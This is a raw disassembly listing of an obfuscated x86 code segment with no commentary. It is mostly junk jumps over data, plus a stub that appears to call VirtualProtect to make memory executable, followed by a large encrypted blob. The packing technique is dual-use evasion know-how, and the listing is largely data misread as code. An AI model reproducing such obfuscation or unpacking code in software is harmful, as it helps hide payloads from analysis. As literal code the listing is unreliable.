; ---------------------------------------------------------------------------
dec edx
push esp
loc_467849: ; CODE XREF: DMN1:00467808j
sub al, 9
jmp near ptr 92CC057Ah
; ---------------------------------------------------------------------------
dd 0F7B6F416h, 0AEA8A665h
; ---------------------------------------------------------------------------
add al, 0DDh
loc_46785A: ; CODE XREF: DMN1:loc_467845j
jmp short loc_46787A
; ---------------------------------------------------------------------------
inc esi
cmp eax, 5209D821h
retn 5848h
; ---------------------------------------------------------------------------
db 62h, 9, 99h
dd 0BA92AF84h, 78BF50CAh, 0C8A5290Eh, 429360Ah
db 6, 9
; ---------------------------------------------------------------------------
loc_46787A: ; CODE XREF: DMN1:loc_46785Aj
xchg esp, [esi]
test ecx, 0E9A69C5Ch
stc
cld
std
jmp short loc_4678A0
; ---------------------------------------------------------------------------
db 0C5h
dd 86D6E8A4h, 8A98EA0Ch, 56BC4315h, 3C15448h, 2C4318ADh
dd 5F64FF48h
; ---------------------------------------------------------------------------
loc_4678A0: ; CODE XREF: DMN1:00467885j
sub esp, 902A5E66h
jmp short loc_4678BD
; ---------------------------------------------------------------------------
dd 55C6D144h, 1DDE71C6h, 0AFAA20F8h, 5B762363h, 24EAE15Eh
db 0EEh
; ---------------------------------------------------------------------------
loc_4678BD: ; CODE XREF: DMN1:004678A6j
jmp short loc_4678D9
; ---------------------------------------------------------------------------
db 10h
; ---------------------------------------------------------------------------
jmp short loc_46792A
; ---------------------------------------------------------------------------
dw 7D3Eh
dd 0FEB9404Ah, 0B8A02E4Ah, 177131EBh, 4E6AC6B6h, 3187AD85h
; ---------------------------------------------------------------------------
push cs
loc_4678D9: ; CODE XREF: DMN1:loc_4678BDj
jmp short loc_4678F1
; ---------------------------------------------------------------------------
db 48h
dd 5212CC83h, 2A6B1DBBh, 0A2181F01h, 4582BB97h, 429F9B70h
db 0E5h
; ---------------------------------------------------------------------------
loc_4678F1: ; CODE XREF: DMN1:loc_4678D9j
xchg edx, eax
xchg edi, ebp
jmp short loc_4678F9
; ---------------------------------------------------------------------------
db 95h
db 1Bh
; ---------------------------------------------------------------------------
loc_4678F9: ; CODE XREF: DMN1:004678F5j
sbb ecx, 65FF6E4h
jmp short loc_46791A
; ---------------------------------------------------------------------------
db 0F3h, 6Ah, 0A0h
dd 74CD4AAAh, 6CA8A0E9h, 2D3994BDh, 0C2A98550h, 80A57ABCh
db 8Eh, 89h
; ---------------------------------------------------------------------------
loc_46791A: ; CODE XREF: DMN1:004678FFj
ror esp, 1
cmc
jmp short loc_46793E
; ---------------------------------------------------------------------------
db 28h
dd 55B97FBBh, 0DB5458B9h
db 44h, 17h
; ---------------------------------------------------------------------------
loc_46792A: ; CODE XREF: DMN1:004678C0j
out 1Fh, eax
loopne locret_4679A5
cmc
adc al, 34h
adc [eax], esi
daa
push eax
mov ds:6A8915D7h, al
and dh, al
; ---------------------------------------------------------------------------
db 0BCh, 29h
; ---------------------------------------------------------------------------
loc_46793E: ; CODE XREF: DMN1:0046791Dj
xchg esi, eax
xchg esp, esp
jmp short loc_467961
; ---------------------------------------------------------------------------
mov eax, ds:14E70F39h
icebp
rcr esi, cl
retf
; ---------------------------------------------------------------------------
db 96h, 0CFh, 43h
dd 6A5E4306h, 2FBFF629h, 9C075986h, 0F60A984Ah
db 0C1h
; ---------------------------------------------------------------------------
loc_467961: ; CODE XREF: DMN1:00467942j
neg ebp
jmp short loc_46796E
; ---------------------------------------------------------------------------
db 0ACh, 9Ah, 99h
; ---------------------------------------------------------------------------
mov esi, [ebp-347F686Ch]
loc_46796E: ; CODE XREF: DMN1:00467963j
jmp short $+2
jmp short loc_467977
; ---------------------------------------------------------------------------
cwde
xchg ah, [ebp-51h]
icebp
loc_467977: ; CODE XREF: DMN1:00467970j
jmp short loc_467989
; ---------------------------------------------------------------------------
db 0BEh, 0B5h, 30h
dd 0B64AC222h, 0BE476592h, 0A711469Dh
db 0Bh
; ---------------------------------------------------------------------------
loc_467989: ; CODE XREF: DMN1:loc_467977j
jmp short loc_4679A0
; ---------------------------------------------------------------------------
db 0D6h
dd 0D2527119h, 12A2A28Eh, 89FD5656h, 0D525A334h, 0DF9B76A8h
; ---------------------------------------------------------------------------
loc_4679A0: ; CODE XREF: DMN1:loc_467989j
xchg esp, [eax]
jmp short loc_4679BE
; ---------------------------------------------------------------------------
db 0E6h
; ---------------------------------------------------------------------------
locret_4679A5: ; CODE XREF: DMN1:0046792Cj
retn 0F64Dh
; ---------------------------------------------------------------------------
dd 8B92333Bh, 7F672547h, 4C555C0Bh, 6D0B58FEh, 0D2ADFA6h
db 0F4h, 69h
; ---------------------------------------------------------------------------
loc_4679BE: ; CODE XREF: DMN1:004679A2j
jmp short loc_4679C2
; ---------------------------------------------------------------------------
db 0F2h, 19h
; ---------------------------------------------------------------------------
loc_4679C2: ; CODE XREF: DMN1:loc_4679BEj
cld
std
xchg ebp, esi
jmp short loc_4679E0
; ---------------------------------------------------------------------------
dd 0FE3F4E8Ah, 0B2597406h, 0ECA81F80h, 0C11BE23Eh, 64DB1CFh
dd 25CB9917h
; ---------------------------------------------------------------------------
loc_4679E0: ; CODE XREF: DMN1:004679C6j
cld
jmp short loc_467A01
; ---------------------------------------------------------------------------
neg byte ptr [eax]
mov bl, 8
pop esi
xchg bl, [ebx+23h]
xchg eax, ecx
cmpsd
push esi
and [edi+5057899Fh], esi
mov dword ptr [ebx+0Eh], 0B154936Dh
or al, 93h
cmp al, 4
std
xchg eax, ebp
loc_467A01: ; CODE XREF: DMN1:004679E1j
sub ebx, 0A5D8492Eh
jmp short loc_467A27
; ---------------------------------------------------------------------------
db 11h, 78h, 8Ah
dd 0B02F66ADh, 22885AEBh, 9AF0F1DAh, 1FB703D6h, 0A6D81906h
dd 6D29AB39h
db 8Ah, 8Ch, 0Dh
; ---------------------------------------------------------------------------
loc_467A27: ; CODE XREF: DMN1:00467A07j
mov ecx, edx
xor esi, 0A3817216h
jmp short loc_467A3F
; ---------------------------------------------------------------------------
db 0FEh, 30h, 81h
dd 0E243F719h, 0C9EC6347h
db 21h, 99h, 58h
; ---------------------------------------------------------------------------
loc_467A3F: ; CODE XREF: DMN1:00467A2Fj
cmc
xchg ecx, eax
jmp short loc_467A4B
; ---------------------------------------------------------------------------
dd 449A945Dh
db 0B5h, 63h, 0F6h
; ---------------------------------------------------------------------------
loc_467A4B: ; CODE XREF: DMN1:00467A42j
clc
jmp short loc_467A52
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
sbb ebx, [eax]
setalc
loc_467A52: ; CODE XREF: DMN1:00467A4Cj
jmp short loc_467A59
; ---------------------------------------------------------------------------
aas
db 26h
sti
and al, 0B6h
loc_467A59: ; CODE XREF: DMN1:loc_467A52j
xchg ebp, esp
jmp short $+2
add eax, esp
jmp short loc_467A6B
; ---------------------------------------------------------------------------
push ebx
fild dword ptr [esi]
or cl, es:[ecx+2810C0Ch]
loc_467A6B: ; CODE XREF: DMN1:00467A5Fj
jmp short loc_467A8A
; ---------------------------------------------------------------------------
db 0A8h, 42h, 0D0h
; ---------------------------------------------------------------------------
jmp dword ptr [edi-35C56DBDh]
; ---------------------------------------------------------------------------
dw 0E701h
dd 2F4FAEFAh, 0DE8BCE14h, 857843DCh, 2C0D596Ah
; ---------------------------------------------------------------------------
jnz short loc_467AA4
loc_467A8A: ; CODE XREF: DMN1:loc_467A6Bj
jmp short loc_467AA0
; ---------------------------------------------------------------------------
dd 25AFBEE3h, 22EF7190h, 2116A3ACh, 9FE6D3CCh, 18AE091Ch
; ---------------------------------------------------------------------------
loc_467AA0: ; CODE XREF: DMN1:loc_467A8Aj
jmp short loc_467AB1
; ---------------------------------------------------------------------------
dw 0BA9Ch
; ---------------------------------------------------------------------------
loc_467AA4: ; CODE XREF: DMN1:00467A88j
sahf
hlt
; ---------------------------------------------------------------------------
mov edx, 0BB73458h
loc_467AAB: ; CODE XREF: DMN1:00467B28j
mov eax, 0BD9EAD4Eh
retn
; ---------------------------------------------------------------------------
loc_467AB1: ; CODE XREF: DMN1:loc_467AA0j
jmp short loc_467ACA
; ---------------------------------------------------------------------------
db 50h
dd 3AB81101h, 2E7591A7h, 5EDFDF4Dh, 10B92598h, 0A8FA89F1h
db 0FCh, 0F7h
; ---------------------------------------------------------------------------
loc_467ACA: ; CODE XREF: DMN1:loc_467AB1j
mov [eax], ebp
jmp short loc_467AE1
; ---------------------------------------------------------------------------
retn 0B71Ah
; ---------------------------------------------------------------------------
das
sbb dl, 3
adc al, [edx+eax*8-2Dh]
mov esi, 0B19BB05Ah
retn 31F1h
; ---------------------------------------------------------------------------
loc_467AE1: ; CODE XREF: DMN1:00467ACCj
jmp short $+2
jmp short loc_467B04
; ---------------------------------------------------------------------------
aRnqQrlnfLNHs_0 db 9,'ï',0Ah
db 'QLfÁL~N#hápè¼-´',0
dd 0F7A458B1h, 39E3273h
; ---------------------------------------------------------------------------
loc_467B04: ; CODE XREF: DMN1:00467AE3j
cmc
jmp short loc_467B21
; ---------------------------------------------------------------------------
db 0E6h
dd 0CB63A015h, 83D26C68h, 9FBC7A0Eh, 0B38C16FFh, 0ECBECD5Ch
dd 21EDB6C1h
; ---------------------------------------------------------------------------
push ebp
loc_467B21: ; CODE XREF: DMN1:00467B05j
jmp short loc_467B2A
; ---------------------------------------------------------------------------
db 5Bh
dd 0A44096CDh
; ---------------------------------------------------------------------------
jns short loc_467AAB
loc_467B2A: ; CODE XREF: DMN1:loc_467B21j
jmp short loc_467B31
; ---------------------------------------------------------------------------
dd 5F46EEF8h
; ---------------------------------------------------------------------------
dec edx
loc_467B31: ; CODE XREF: DMN1:loc_467B2Aj
xchg edi, ebx
jmp short loc_467B45
; ---------------------------------------------------------------------------
db 0BFh, 0FBh, 61h
dd 85E4CFAFh, 38B526D8h, 0E478AEEDh
db 68h
; ---------------------------------------------------------------------------
loc_467B45: ; CODE XREF: DMN1:00467B33j
jmp short loc_467B62
; ---------------------------------------------------------------------------
db 1
dd 0DE7C152Bh, 9E724105h, 0CD22A6A5h, 2B486CF3h, 87FE52CAh
dd 0E03AE970h
db 0, 37h
; ---------------------------------------------------------------------------
loc_467B62: ; CODE XREF: DMN1:loc_467B45j
jmp short loc_467B6E
; ---------------------------------------------------------------------------
dd 28F31E92h, 5B4A318Eh
db 30h, 91h
; ---------------------------------------------------------------------------
loc_467B6E: ; CODE XREF: DMN1:loc_467B62j
stc
jmp short loc_467B8C
; ---------------------------------------------------------------------------
db 0F3h, 47h, 86h
dd 93A42273h, 14391CF3h, 5D60E1AAh, 0FF386F3Eh, 0BC10BD15h
dd 5EFA7FECh
; ---------------------------------------------------------------------------
loc_467B8C: ; CODE XREF: DMN1:00467B6Fj
xor ebp, 85E089B9h
jmp short loc_467BA9
; ---------------------------------------------------------------------------
dd 0C0AAF44Dh, 6530B1ACh, 5F48A3BAh, 0C58C98AFh, 0A12A4032h
db 4Ch
; ---------------------------------------------------------------------------
loc_467BA9: ; CODE XREF: DMN1:00467B92j
inc esp
jmp short $+2
jmp short loc_467BB1
; ---------------------------------------------------------------------------
dw 956Dh
db 0D5h
; ---------------------------------------------------------------------------
loc_467BB1: ; CODE XREF: DMN1:00467BACj
jmp short loc_467BB7
; ---------------------------------------------------------------------------
db 88h
db 25h, 1Ah, 6Fh
; ---------------------------------------------------------------------------
loc_467BB7: ; CODE XREF: DMN1:loc_467BB1j
xchg ebx, ebp
xchg ebx, edx
jmp short loc_467BCD
; ---------------------------------------------------------------------------
db 3Ch, 5Ch, 0C1h
dd 615BA18Bh, 0EDFC2F02h, 3ECA04EEh
db 0B0h
; ---------------------------------------------------------------------------
loc_467BCD: ; CODE XREF: DMN1:00467BBBj
jmp short loc_467BEC
; ---------------------------------------------------------------------------
db 22h
dd 0ACEDC906h, 1A5692C2h, 0E87F80E3h, 1B98969Eh, 0CFA9E3CFh
dd 44939574h, 0D0F1B9ABh
; ---------------------------------------------------------------------------
loc_467BEC: ; CODE XREF: DMN1:loc_467BCDj
jmp short loc_467C02
; ---------------------------------------------------------------------------
dw 0A7B4h
dd 0FDDD7674h, 34EB028Ah, 202F0225h, 57F94ADAh
db 0D1h, 0A9h
; ---------------------------------------------------------------------------
loc_467C02: ; CODE XREF: DMN1:loc_467BECj
jmp short loc_467C17
; ---------------------------------------------------------------------------
dd 98011D99h, 9218C4CDh, 4FCA0651h, 0A995BE64h
db 9Ch, 0C7h, 0B2h
; ---------------------------------------------------------------------------
loc_467C17: ; CODE XREF: DMN1:loc_467C02j
jmp short loc_467C24
; ---------------------------------------------------------------------------
db 8, 20h, 77h
; ---------------------------------------------------------------------------
push eax
adc dword ptr [esp+eax*2-22h], 0FFFFFF9Ah
add [edx], ah
loc_467C24: ; CODE XREF: DMN1:loc_467C17j
jmp short loc_467C2A
; ---------------------------------------------------------------------------
dw 0DF57h
db 8Eh, 79h
; ---------------------------------------------------------------------------
loc_467C2A: ; CODE XREF: DMN1:loc_467C24j
jmp short loc_467C47
; ---------------------------------------------------------------------------
dd 717B12EFh, 0E7302562h, 0B766CD7Fh, 0FBF2C46h, 0D7EB9FCCh
dd 0B95D7FE2h
db 6, 0E1h, 96h
; ---------------------------------------------------------------------------
loc_467C47: ; CODE XREF: DMN1:loc_467C2Aj
jmp short loc_467C4B
; ---------------------------------------------------------------------------
db 5Eh, 0C1h
; ---------------------------------------------------------------------------
loc_467C4B: ; CODE XREF: DMN1:loc_467C47j
xchg esp, ebx
jmp short loc_467C60
; ---------------------------------------------------------------------------
db 54h
dd 5B313D85h, 0A0825685h, 0E336E9B8h, 0E1B20030h
; ---------------------------------------------------------------------------
loc_467C60: ; CODE XREF: DMN1:00467C4Dj
add ebx, 2
sub edi, 60A6F7ADh
cld
shr edi, 8Ah
jmp short loc_467C80
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dd 0B5487B89h, 0DD2F11EEh, 0B7FC01BBh, 58229F61h
; ---------------------------------------------------------------------------
loc_467C80: ; CODE XREF: DMN1:00467C6Dj
jmp short loc_467C85
; ---------------------------------------------------------------------------
dw 95EFh
db 0C2h
; ---------------------------------------------------------------------------
loc_467C85: ; CODE XREF: DMN1:loc_467C80j
jmp short loc_467C8F
; ---------------------------------------------------------------------------
db 0D9h
dd 0CDF5781Eh
db 31h, 0B1h, 77h
; ---------------------------------------------------------------------------
loc_467C8F: ; CODE XREF: DMN1:loc_467C85j
jmp short loc_467CA8
; ---------------------------------------------------------------------------
db 0ECh, 6Bh, 55h
dd 0F6CE218Dh, 76752812h, 58C03C1Fh, 5E9BEC43h, 0EAD6A38Ah
; ---------------------------------------------------------------------------
loc_467CA8: ; CODE XREF: DMN1:loc_467C8Fj
add ebx, 1
jmp short loc_467CB0
; ---------------------------------------------------------------------------
pop eax
jno short loc_467CB7
loc_467CB0: ; CODE XREF: DMN1:00467CABj
xchg esp, ebx
xchg ebx, edi
xchg esi, ecx
cld
loc_467CB7: ; CODE XREF: DMN1:00467CAEj
stc
jmp short loc_467CBE
; ---------------------------------------------------------------------------
dw 0EA71h
db 4Ah, 0C2h
; ---------------------------------------------------------------------------
loc_467CBE: ; CODE XREF: DMN1:00467CB8j
jmp short loc_467CDD
; ---------------------------------------------------------------------------
dd 0A3E47B81h, 5E10F79Ah, 3BD5653h, 7C0D6381h, 6D0D1FBh
dd 4EEB6D9Bh, 0FD913C95h
db 8Ah
; ---------------------------------------------------------------------------
loc_467CDD: ; CODE XREF: DMN1:loc_467CBEj
jmp short loc_467CE0
; ---------------------------------------------------------------------------
db 0BCh
; ---------------------------------------------------------------------------
loc_467CE0: ; CODE XREF: DMN1:loc_467CDDj
jmp short loc_467CFD
; ---------------------------------------------------------------------------
dw 0CC44h
dd 9A5706h, 0E62CE700h, 0FFE755BCh, 0BAA70E73h, 89DD2691h
dd 0D5BEB3F8h
db 0EAh
; ---------------------------------------------------------------------------
loc_467CFD: ; CODE XREF: DMN1:loc_467CE0j
xchg edi, ecx
jmp short loc_467D1B
; ---------------------------------------------------------------------------
db 62h, 28h, 23h
dd 0FE6895BFh, 149DE561h, 20217A0Bh, 3F94274Bh, 0E6D1A4EAh
db 0B4h, 35h, 11h
; ---------------------------------------------------------------------------
loc_467D1B: ; CODE XREF: DMN1:00467CFFj
jmp short loc_467D35
; ---------------------------------------------------------------------------
db 0Eh, 0ADh, 7Bh
dd 0A42C9286h, 7B3331D9h, 0E63AA0CAh, 2CB0F717h, 3DB0207Fh
db 6Dh
; ---------------------------------------------------------------------------
loc_467D35: ; CODE XREF: DMN1:loc_467D1Bj
jmp short loc_467D3E
; ---------------------------------------------------------------------------
db 25h
dd 0A3C36B68h
db 0CFh, 0B4h
; ---------------------------------------------------------------------------
loc_467D3E: ; CODE XREF: DMN1:loc_467D35j
jmp short loc_467D52
; ---------------------------------------------------------------------------
dd 575FEDD8h, 0D9FF7C5Ch, 359E350h, 0BA83AB19h
db 28h, 43h
; ---------------------------------------------------------------------------
loc_467D52: ; CODE XREF: DMN1:loc_467D3Ej
sub ebp, 1
jz short loc_467DA4
dec edx
xchg ebp, esp
stc
jmp short loc_467D73
; ---------------------------------------------------------------------------
db 0C1h, 0AEh, 94h
dd 9CD4ECC0h, 0D7C000BEh, 42F05349h, 0AB4FCF58h
; ---------------------------------------------------------------------------
xchg eax, ebx
push ebx
push edi
loc_467D73: ; CODE XREF: DMN1:00467D5Bj
jmp short loc_467D7A
; ---------------------------------------------------------------------------
db 0E8h, 34h, 80h
; ---------------------------------------------------------------------------
cmp al, 22h
loc_467D7A: ; CODE XREF: DMN1:loc_467D73j
xchg edx, esp
clc
xor edi, 9945EE68h
jmp short loc_467D9A
; ---------------------------------------------------------------------------
db 0A3h, 0BEh, 9Fh
dd 0BBF81B23h, 0CBD8B946h, 0CFC73E7h, 0E93F11D4h
db 12h, 6Eh
; ---------------------------------------------------------------------------
loc_467D9A: ; CODE XREF: DMN1:00467D83j
xchg eax, ecx
clc
xchg esp, esi
jmp loc_467552
; ---------------------------------------------------------------------------
loc_467DA4: ; CODE XREF: DMN1:00467D55j
xchg ebp, ecx
xchg esp, esi
jmp short loc_467DB3
; ---------------------------------------------------------------------------
dw 0FBD8h
dd 0EA1B1CFh
db 0E6h, 0A1h, 5Ch
; ---------------------------------------------------------------------------
loc_467DB3: ; CODE XREF: DMN1:00467DA8j
cld
jmp short loc_467DCC
; ---------------------------------------------------------------------------
jnp short loc_467DF5
adc eax, 0AFA7F218h
pop ecx
push cs
paddusb mm1, mm6
mov ds:0EBE94B41h, al
mov edx, 2B270FB2h
loc_467DCC: ; CODE XREF: DMN1:00467DB4j
jmp short loc_467DE9
; ---------------------------------------------------------------------------
dw 58B3h
dd 74A20F3Fh, 6ECC21F5h, 0B74D3992h, 0FD7C03AEh, 4FF7A2ACh
dd 0DBE18C7Eh
; ---------------------------------------------------------------------------
dec eax
loc_467DE9: ; CODE XREF: DMN1:loc_467DCCj
jmp short loc_467E04
; ---------------------------------------------------------------------------
db 0BDh
dd 2FE2217Ch, 8D26257Ch
db 0B1h
; ---------------------------------------------------------------------------
loc_467DF5: ; CODE XREF: DMN1:00467DB6j
sub [edi-72h], ch
clc
or edx, [ebx]
das
cmp al, 6Dh ; CODE XREF: DMN1:loc_467E0Ej
jz short loc_467E1A
sbb ecx, eax
aas
inc ecx
loc_467E04: ; CODE XREF: DMN1:loc_467DE9j
cmc
jmp short loc_467E11
; ---------------------------------------------------------------------------
db 88h
dd 252E3BA6h
; ---------------------------------------------------------------------------
test al, 0D2h
loc_467E0E: ; CODE XREF: DMN1:00467E28j
jnz short near ptr loc_467DFC+1
xchg eax, edx
loc_467E11: ; CODE XREF: DMN1:00467E05j
jmp short loc_467E2C
; ---------------------------------------------------------------------------
db 0ADh
dd 0A4AF25F0h
; ---------------------------------------------------------------------------
aad 23h
loc_467E1A: ; CODE XREF: DMN1:00467DFEj
or [ebx-1], ebx
push eax
sub al, 0E5h
rep mov dword ptr [ebx+11h], 32A5AE46h
jecxz short loc_467E0E
add ebp, edi
loc_467E2C: ; CODE XREF: DMN1:loc_467E11j
jmp short loc_467E3D
; ---------------------------------------------------------------------------
dw 0C2CDh
; ---------------------------------------------------------------------------
mov ch, 0D1h
dec ecx
retf 279Ah
; ---------------------------------------------------------------------------
dw 736Fh
dd 58B6D787h
db 75h
; ---------------------------------------------------------------------------
loc_467E3D: ; CODE XREF: DMN1:loc_467E2Cj
jmp short $+2
jmp short loc_467E58
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
dw 0F56Ch
; ---------------------------------------------------------------------------
adc [edi-7EA27F8Eh], dl
mov ds:57BF2A33h, eax
aad 9
nop
adc [ebx+ecx*2-60h], dh
stc
cwde
loc_467E58: ; CODE XREF: DMN1:00467E3Fj
jmp short loc_467E6E
; ---------------------------------------------------------------------------
mov eax, 4294785Ch
cmp ah, dl
retn 0AEF2h
; ---------------------------------------------------------------------------
dd 9C237B83h, 28054FB2h
db 73h, 84h
; ---------------------------------------------------------------------------
loc_467E6E: ; CODE XREF: DMN1:loc_467E58j
stc
jmp short loc_467E7E
; ---------------------------------------------------------------------------
db 0C5h, 0EDh, 11h
; ---------------------------------------------------------------------------
mov dword ptr [edx+6EE3CDEDh], 295FF01h
loc_467E7E: ; CODE XREF: DMN1:00467E6Fj
jmp short loc_467E90
; ---------------------------------------------------------------------------
dd 0D49E9080h, 5B838CB9h, 0CF7D53F0h, 3B6C46FCh
; ---------------------------------------------------------------------------
loc_467E90: ; CODE XREF: DMN1:loc_467E7Ej
pop edi
jmp short loc_467E9E
; ---------------------------------------------------------------------------
db 20h
dd 6FC12F13h, 0F4FC0CE5h
db 0Bh, 90h
; ---------------------------------------------------------------------------
loc_467E9E: ; CODE XREF: DMN1:00467E91j
cmc
jmp short loc_467EAE
; ---------------------------------------------------------------------------
db 1Fh, 96h, 36h
db 90h
db 34h, 73h, 48h
dd 9BDF7763h
db 6Dh, 0A9h
; ---------------------------------------------------------------------------
loc_467EAE: ; CODE XREF: DMN1:00467E9Fj
jmp short loc_467ECB
; ---------------------------------------------------------------------------
dd 0A57299E4h, 0B846DCh, 0BE734FE3h, 0F378EC0Ah, 0D0CC464Eh
dd 6C92F1F2h
; ---------------------------------------------------------------------------
xor [ebx+7Fh], dh
loc_467ECB: ; CODE XREF: DMN1:loc_467EAEj
jmp short loc_467EEB
; ---------------------------------------------------------------------------
db 0ADh, 43h, 0A5h
dd 2E1A73B1h, 8178335Dh, 0D439D8B2h, 0A4FA98EFh, 966B27FBh
dd 11303089h
; ---------------------------------------------------------------------------
les ebx, [eax]
dec ebp
loc_467EEB: ; CODE XREF: DMN1:loc_467ECBj
jmp short loc_467F03
; ---------------------------------------------------------------------------
db 67h, 0BDh, 5Eh
dd 194784DAh, 8FF7123Bh, 4AC1CC38h, 0C5F256DDh
db 0Eh, 51h, 7Fh
; ---------------------------------------------------------------------------
loc_467F03: ; CODE XREF: DMN1:loc_467EEBj
shl ebx, 19h
jmp loc_466EEC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_467F0B proc near ; CODE XREF: DMN1:00467F75p
var_24 = dword ptr -24h
var_18 = byte ptr -18h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor edx, 391E7942h
xor edx, 5FF57DEDh
mov eax, 10000000h
add edx, eax
add esp, 10h
mov ebp, [esp-10h+arg_4]
push edx
pusha
push 0
lea edx, [esp+18h+var_18]
push edx
push 40h
push 15B32h
add [esp+24h+var_24], 1000h
push eax
add eax, 1000h
add eax, 46023h
call dword ptr [eax]
add esp, 4
popa
retn
sub_467F0B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov ecx, 8000h
mov edx, 4C271B38h
mov eax, 383D2E0Bh
loc_467F65: ; CODE XREF: DMN1:00467F72j
add eax, 19776617h
xor edx, eax
add dx, ax
rol edx, 7
loop loc_467F65
push eax
call sub_467F0B
leave
retn
; ---------------------------------------------------------------------------
dd 17h dup(0)
dd 45000100h, 50746978h, 65636F72h, 1007373h, 72695600h
dd 6C617574h, 746F7250h, 746365h, 47000h, 4700Eh, 0
dd 6E72656Bh, 32336C65h, 6C6C642Eh, 2 dup(0)
dd 0FFFFFF00h, 4702BFFh, 4701F00h, 5 dup(0)
dd 4600000h, 1000h, 3B4500h, 4Fh dup(0)
dd 0F3B5EF00h, 68A86A29h, 528DA2A1h, 0EC713FFDh, 0B593133Ch
dd 8C87A9EEh, 0D3CB325h, 855501DBh, 0C1EDC085h, 33D774AEh
dd 0AB54FEA7h, 861A5491h, 0F7469B2Bh, 0C84328Bh, 0E0A14902h
dd 8BCC5355h, 668A711Ah, 0F67A2843h, 5F2FA6Ch, 44EBF027h
dd 3A36388Ch, 0D2F9C9C0h, 7A77FC6Bh, 4D39297Ch, 0B7C91FC1h
dd 276CB588h, 7E9D62Ch, 3B419E6Dh, 0DE853F34h, 0FEA104D4h
dd 0B960F10Ch, 2EB18A52h, 498510F2h, 0E2B7D3B6h, 3B56E5C3h
dd 1485C1A2h, 3B77A76Ch, 0EC79E58Fh, 3B8039EBh, 9F4D0784h
dd 0A358D802h, 0E364946Dh, 60B64687h, 0AA5EAB45h, 7EB1209Bh
dd 6A0531C7h, 2EADD8C0h, 3F1F06BFh, 0CADC43BCh, 88BF6E6Eh
dd 0E3C81199h, 0F22EB997h, 56735388h, 31A2478h, 21636B8Bh
dd 0CBDFC6BEh, 8FA3E59Ch, 8A7B6BC4h, 836A372Ch, 0E2C6FF6Eh
dd 0EE199261h, 3A43CFA6h, 299D2444h, 0D4793775h, 0A8EFAB89h
dd 533C05A7h, 6A8A2216h, 4A07B772h, 3825CA32h, 3CC8A050h
dd 0D8F7D859h, 6B364F3Dh, 27F10ACAh, 0FC02881Eh, 57185D84h
dd 8A660412h, 5E322BBh, 0CEC11ED4h, 0E1939DA2h, 0D6ED211Bh
dd 0E8E144C5h, 0AF9EF665h, 18C32FC8h, 4E97BB8Eh, 9CFF5DFh
dd 2316E996h, 81DD0F4h, 64569DADh, 0CA9E89Dh, 3A2F8AE3h
dd 323410FFh, 0A9082244h, 26D5B65h, 0F23F4DA1h, 2569BE0Fh
dd 7CE05FEFh, 0B5CA2E22h, 8BD89AD9h, 87B9C353h, 4B3F87ACh
dd 4F12F5C3h, 8B8B564Dh, 2FC5BFC8h, 33DD309Eh, 685BB512h
dd 1C7881F4h, 3536415Fh, 7F4F35AAh, 0BF045AB5h, 6ABA1278h
dd 0EDE71CEFh, 6207F1DDh, 174DA099h, 0B6DB366Ch, 6E2BC9D2h
dd 0A1021D1Dh, 338458E8h, 0B275E70h, 57BED1C6h, 7814F675h
dd 0A677BD20h, 6E9AD410h, 58528979h, 4DE1F161h, 16D37BBFh
dd 0BF640318h, 0BCDD2B9Ah, 0FF2E0A80h, 0B7291E61h, 4ABD6E5Ch
dd 1120D77Bh, 48DFB0DBh, 0E9A91459h, 0BE6837BEh, 0CB31052Ah
dd 17693795h, 64C5385Eh, 38247A66h, 23258F22h, 96B570B4h
dd 39AA157Ah, 7F39530Eh, 1370579Bh, 0AD6F4688h, 0E28DE5ACh
dd 43BE44EDh, 1C9141BAh, 43CECB92h, 0A536F40Ah, 3208F4EEh
dd 4214D9DFh, 0AFAC6871h, 1941B8C1h, 0E47A0A7Fh, 0D12AE080h
dd 7381A99Dh, 0AB7BC86Eh, 485B5AAFh, 94935314h, 95F2E6FCh
dd 0F610558Ch, 42C38738h, 0DCBB644Eh, 985DF797h, 68C650E7h
dd 0E21FA69Ch, 3B52B921h, 0E402101Dh, 0E93DC935h, 5DFAB04Dh
dd 2B1334C2h, 9C821D65h, 0E79DF81h, 470EDEC8h, 7F7E7226h
dd 0AB8D4DD2h, 8BC1EE70h, 0F340B3E3h, 583858B3h, 8044ECF7h
dd 6B76537Ch, 2CA9EF9Ch, 0D07ECA39h, 51BCFB4Dh, 0A1831811h
dd 469A5170h, 8456FA4h, 0A3BC8005h, 0A070C2BCh, 0F192E170h
dd 8EE04BDBh, 0DAD9A50Dh, 174DDA3Ch, 0A3F789C4h, 0DBE70E55h
dd 6291EF6Eh, 3131B512h, 0BE5E532Eh, 51FE7EF1h, 43E4AEB2h
dd 57FCAA47h, 0F590ED4h, 0C10F9E8Ch, 72871F8Ch, 0B29F8BBDh
dd 79C30127h, 662100BAh, 0AE9C51AEh, 4A59814Ch, 0F3E7FA3Eh
dd 807137A2h, 0D3C08D33h, 7D1C224Bh, 40ACDD4h, 4FE49963h
dd 8874BFD3h, 0F45D5434h, 385DE815h, 8CFF93DEh, 840F4C6Bh
dd 0C1F3A232h, 877A8DB3h, 0F230EA37h, 213C9520h, 15BA158Eh
dd 82AADDAAh, 3ED40241h, 0D1B43601h, 0E6F3859h, 22357244h
dd 4F89BFFCh, 0F4CF93D4h, 0E3A54498h, 473CA57Ah, 952E2489h
dd 738A5ABDh, 5C8310Ah, 0CAE2174Ah, 0D21B7BE0h, 0D842EB5Ch
dd 9F2D3F0Ch, 9963F0E5h, 863BB0BBh, 0FFEBFA16h, 42EA20F9h
dd 1BDE42D2h, 894D2F50h, 0DAA34FDDh, 3BD6AC30h, 5BB05C6Ch
dd 60C2A673h, 0C9C4C458h, 0FA8DBF23h, 7D5044B9h, 94AD79BCh
dd 9CDE5611h, 3B21C15h, 2588A2AFh, 3ADC2BC7h, 14B8284Dh
dd 12D8590Bh, 59007DF9h, 0DBF6A50h, 5D313F8Eh, 0E1D98131h
dd 58384C91h, 8561010Fh, 7951D421h, 61565B86h, 732BD5C2h
dd 56CB1905h, 0FF7BBE1Fh, 8FCB0ECCh, 0A1AD02F7h, 17F07C98h
dd 79C5A7E9h, 438540C8h, 0C169B6BCh, 6124F058h, 1B13116Bh
